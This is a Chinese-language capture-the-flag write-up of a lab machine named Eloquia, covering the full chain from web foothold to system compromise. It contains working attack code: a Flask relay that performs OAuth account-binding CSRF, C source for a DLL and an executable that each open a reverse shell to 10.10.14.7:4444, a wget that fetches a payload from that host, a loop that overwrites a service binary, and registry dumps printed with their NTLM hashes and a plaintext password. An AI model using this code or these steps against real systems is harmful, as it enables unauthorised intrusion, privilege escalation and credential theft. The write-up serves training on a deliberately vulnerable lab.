基本信息
端口扫描 80和5985:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 $ nmap -sC -sV -Pn 10.10.11.99 Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-20 18:35 JST Nmap scan report for 10.10.11.99 Host is up (0.084s latency). Not shown: 998 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 10.0 |_http-title: Did not follow redirect to http://eloquia.htb/ |_http-server-header: Microsoft-IIS/10.0 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-title: Not Found |_http-server-header: Microsoft-HTTPAPI/2.0 Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 72.80 seconds
80 需要加hosts:
写作相关的:
Eloquia 随意注册登录,就是普通的写作后台管理:
另外还有oauth登录选项:
report 测试创建文章,注意到有个report功能,显示会有bot查看:
这种情况下,首先考虑xss,但设置有csp,只允许self:
1 Content-Security-Policy: object-src 'none'; default-src 'self'; style-src 'self' 'unsafe-inline' fonts.googleapis.com; font-src 'self' fonts.googleapis.com fonts.gstatic.com; script-src 'self'
结合前面看到有oauth选项,那可用的meta redirect:
1 <meta http-equiv="refresh" content="0;URL='http://10.10.14.7:7777/test'" />
发布文章嵌入payload,然后举报这篇文章,测试可用:
oauth 那么接下来就是oauth部分,看到有个自定义的Qoogle,添加hosts后测试,是类似这样的url:
1 http://qooqle.htb/oauth2/authorize/?client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&response_type=code&redirect_uri=http://eloquia.htb/accounts/oauth2/qooqle/callback/
自己测试一步步就是常规oauth绑定流程:
所以如果把整个绑定流程最终绑定链接作为meta redirect的链接提交给admin,那么admin就会绑定到我们的qooqle账号,然后我们使用qooqle账号登录即可成为admin:
但有一个问题是管理员是定时bot,绑定token有时效性,所以手工很容易失效导致失败,最好是通过一个中转服务器来进行控制从而响应跳转
admin 使用我们的中转提交给admin:
1 <meta http-equiv="refresh" content="0;URL='http://10.10.14.7:5000/test'" />
等待访问触发oauth绑定,然后我们使用qooqle登录,现在我们是admin:
server.py Copy from mane,
数据修改成自己绑定时post那一步的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from flask import Flask, redirectimport requestsapp = Flask(__name__) def gen_location () : burp0_url = "http://qooqle.htb:80/oauth2/authorize/?client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&response_type=code&redirect_uri=http://eloquia.htb/accounts/oauth2/qooqle/callback/" burp0_cookies = {"csrftoken" : "b71tU551n4UFl1a67X0vPQrFyO42NIFu" , "sessionid" : "6hmazgdio373znuz9ru4mbv1baoli6gx" } burp0_headers = {"User-Agent" : "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0" , "Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" , "Accept-Language" : "en-US,en;q=0.5" , "Accept-Encoding" : "gzip, deflate, br" , "Referer" : "http://qooqle.htb/oauth2/authorize/?client_id=riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi&response_type=code&redirect_uri=http://eloquia.htb/accounts/oauth2/qooqle/callback/" , "Content-Type" : "application/x-www-form-urlencoded" , "Origin" : "http://qooqle.htb" , "Connection" : "keep-alive" , "Upgrade-Insecure-Requests" : "1" , "DNT" : "1" , "Sec-GPC" : "1" , "Priority" : "u=0, i" } burp0_data = {"csrfmiddlewaretoken" : "fLiSFpVGScYa3z5lR73SrIgIOlQ1rdkugI9bpkQx56IFeq5hOUTd6oxdcZKT4LPO" , "redirect_uri" : "http://eloquia.htb/accounts/oauth2/qooqle/callback/" , "scope" : "read write" , "nonce" : '' , "client_id" : "riQBUyAa4UZT3Y1z1HUf3LY7Idyu8zgWaBj4zHIi" , "state" : '' , "response_type" : "code" , "code_challenge" : '' , "code_challenge_method" : '' , "claims" : '' , "allow" : "Authorize" } response = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data,allow_redirects=False ) if response.status_code == 302 : location = response.headers.get('Location' ) print(f"[+] Success! Location header found:" ) print(location) return location return "" @app.route('/test') def test_redirect () : location = gen_location() print(f"[*] Redirecting (302) from /test to: {location} " ) return redirect(location, code=302 ) if __name__ == '__main__' : app.run(debug=True , host='0.0.0.0' , port=5000 )
Admin panel 现在我们可以访问admin panel:
SQL Explorer 可以看到右下角一个sql explorer,点进去发现用的外部组件:
之后测试发现时sqlite,以及常规枚举路径之类信息:
1 2 select sqlite_version(); PRAGMA database_list
sqlite load_extension sqlite支持load_extension加载dll,测试发现这个环境是开启的,以及需要dll文件路径,也是可以通过文章banner那里上传获取到,唯一坑点就是sqlite对dll的要求:
1 2 3 4 5 x86_64-w64-mingw32-gcc -shared shell.c -o shell.dll -lws2_32 -lwininet static/assets/images/blog/shell.dll select load_extension("C:\Web\Eloquia\static\assets\images\blog\shell.dll")
编译dll,上传,执行,获取到web用户shell:
shell.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 #include <winsock2.h> #include <windows.h> #include <ws2tcpip.h> #pragma comment(lib, "Ws2_32.lib" ) int main (void ) ;typedef void (*fp) (void ) ;__declspec(dllexport) int sqlite3_extension_init ( void *db, char **pzErrMsg, void *pApi ) { main(); return 0 ; } int main () { WSADATA wsaData; SOCKET s; struct sockaddr_in sa ; STARTUPINFO si; PROCESS_INFORMATION pi; WSAStartup(MAKEWORD(2 ,2 ), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL , 0 , 0 ); sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("10.10.14.7" ); sa.sin_port = htons(4444 ); if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == 0 ) { memset (&si, 0 , sizeof (si)); si.cb = sizeof (si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s; CreateProcess(NULL , "cmd.exe" , NULL , NULL , TRUE, 0 , NULL , NULL , &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } closesocket(s); WSACleanup(); return 0 ; }
user flag web用户桌面:
chrome 常规枚举发现浏览器,dump获取一些密码:
1 2 3 C:\Users\web\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Olivia.kat S3cureP@sswdIGu3ss
Olivia.kat 之后即可winrm登录Olivia.kat:
1 $ python3 winrmexec.py Olivia.kat:'S3cureP@sswdIGu3ss' @10.10.11.99
桌面文件和Failure2Ban相关,以及提到服务自动重启:
查看自动脚本也确定就是 Failure2Ban服务:
Failure2Ban to root dll劫持 可以看到会删除一个dll,以及查看日志会显示找不到对应dll,所以一种方法就是dll劫持
overwrite Failure2Ban 但Discord公开讨论的基本是这种方法,直接覆盖Failure2Ban.exe,等待服务重启执行,或者手动填充日志文件触发服务重启:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 x86_64-w64-mingw32-gcc revshell.c -o revshell.exe -lws2_32 -lwininet PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug> wget http://10.10.14.7:7777/revshell.exe -O revshell.exe # 覆盖Failure2Ban.exe while ($true) { try { Copy-Item "./revshell.exe" "./Failure2Ban.exe" -Force -ErrorAction Stop Write-Host "[+] Overwrite successful" break } catch { } } # (可选)强制日志增长以尝试触发轮换/重启 PS C:\Program Files\Qooqle IPS Software\Failure2Ban - Prototype\Failure2Ban\bin\Debug\Logs> 1..500 | ForEach-Object { Add-Content .\ServiceLog_12_20_2025.txt ('A' * 100000) }
revshell.c 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 #include <winsock2.h> #include <windows.h> #include <ws2tcpip.h> #pragma comment(lib, "Ws2_32.lib" ) int main () { WSADATA wsaData; SOCKET s; struct sockaddr_in sa ; STARTUPINFO si; PROCESS_INFORMATION pi; WSAStartup(MAKEWORD(2 ,2 ), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL , 0 , 0 ); sa.sin_family = AF_INET; sa.sin_addr.s_addr = inet_addr("10.10.14.7" ); sa.sin_port = htons(4444 ); if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == 0 ) { memset (&si, 0 , sizeof (si)); si.cb = sizeof (si); si.dwFlags = STARTF_USESTDHANDLES; si.hStdInput = si.hStdOutput = si.hStdError = (HANDLE)s; CreateProcess(NULL , "cmd.exe" , NULL , NULL , TRUE, 0 , NULL , NULL , &si, &pi); WaitForSingleObject(pi.hProcess, INFINITE); CloseHandle(pi.hProcess); CloseHandle(pi.hThread); } closesocket(s); WSACleanup(); return 0 ; }
root flag Administrator 桌面:
hashdump 直接保存注册表本地dumo:
1 2 3 4 5 6 7 8 9 10 11 C:\temp>reg save hklm\system system C:\temp>reg save hklm\sam sam python3 examples/secretsdump.py -system system -sam sam LOCAL Administrator:500:aad3b435b51404eeaad3b435b51404ee:e63413bab01a0b8820983496c0be3a9a::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:257cca897df1116e7b641468d7164200::: web:1000:aad3b435b51404eeaad3b435b51404ee:aa04ab562321912f63f2488d22756953::: Olivia.KAT:1001:aad3b435b51404eeaad3b435b51404ee:2cbfd71fcc7181dade35b694169b2256:::cd
参考资料
Last updated: 2026-11-09 10:40:07
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会